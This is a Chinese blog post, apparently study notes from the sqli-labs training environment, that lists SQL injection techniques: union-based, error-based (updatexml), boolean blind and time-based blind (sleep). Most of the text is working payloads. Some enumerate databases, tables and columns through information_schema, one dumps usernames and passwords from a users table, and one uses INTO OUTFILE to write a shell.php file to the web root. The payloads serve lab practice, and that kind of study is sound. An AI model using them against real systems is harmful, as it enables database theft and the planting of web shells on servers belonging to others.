码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入

时间:2018-04-19 19:35:39      阅读:208      评论:0      收藏:0      [点我收藏+]

标签:截取   内容   出错   author   info   mat   是什么   concat   注释   

Union联合查询注入大致步骤:

1.判断列数 -- 通过 order by n;

2.判断显示位 -- id =-1 union select 1,2,3挨着试

 报错注入

1.报错注入就是构造让信息通过错误提示回显出来,

前提:页面上没有显示位,但是需要执行SQl语句输出错误信息

基于布尔类型的注入

页面上不需要显示位,也没有输出错误信息,只能通过页面返回是否正常

时间注入

原理:正确的sql语句和错误的sql语句返回的时间不一样,依此来判断查询结果的正确性,但是要耗费大量时间。

%23  注释掉      - - +也是

id title content time author

select * from new where id=1?
select 联合查询 union
order by 排序 先知道有几列 在联合查询
version 版本号
前后两个语句都对就显示ID了,把不要查的报错后面的版本信息就出来了id=-1 union select 1,2 ,version()
查询数据库中所有的库名
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata 所有的库名

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=‘security‘ 表名

                                                 schemate     保存所有数据库的名字 tables       保存所有的表的名字 column      保存所有的字段的名字

id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘users‘爆 列名
        schemata
库名.表名

 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.schemata

、、查询所有的表


union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()


查询当前库中某一个表的所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘users‘

group_concat schema.schemata SCHEMA_NAME

查字段的内容union select 1,group_concat(username),group_concat(password) from security.users 或者 union select 1,2,group_concat(username, ‘-‘,password) from users


查询所有的咧 select column_name from

报错查询‘) union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

id=‘) union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

select ascii(substr(database(),1,1)) = 127                 substr 截取字符串函数
先报错
select ascii(substr(database(),1,1)) =                               id=1‘ and ascii(substr(database(),1,1)) > 64 %23 求数据库名的首字母

求用户名的长度 id=1‘ and (select length (user())=14)--+                     length 求长度的函数
http://10.1.2.5:10631/sqli/Less-8/?id=1‘and ength(current_user())%23

求当前用户名的函数current_user() 时间盲注 select if(length(current_user())=14,sleep(2),1);

 

 

时间注入: if(payload,sleep(3),1) 即payload正确时,程序暂停3秒。否则立刻执行
?id=1" and sleep(5) %23 时间判断是什么语句
if()语句
id=1" and if(ascii(substr(database(),1,1)) = 115, sleep(2),1) %查询当前数据库用户名的首字母

?id=1‘)) union select 1,2,3 into outfile ‘c:\\www\\shell.php‘ %23 写入文件

SQL注入

标签:截取   内容   出错   author   info   mat   是什么   concat   注释   

原文地址:https://www.cnblogs.com/hou159656/p/8885495.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!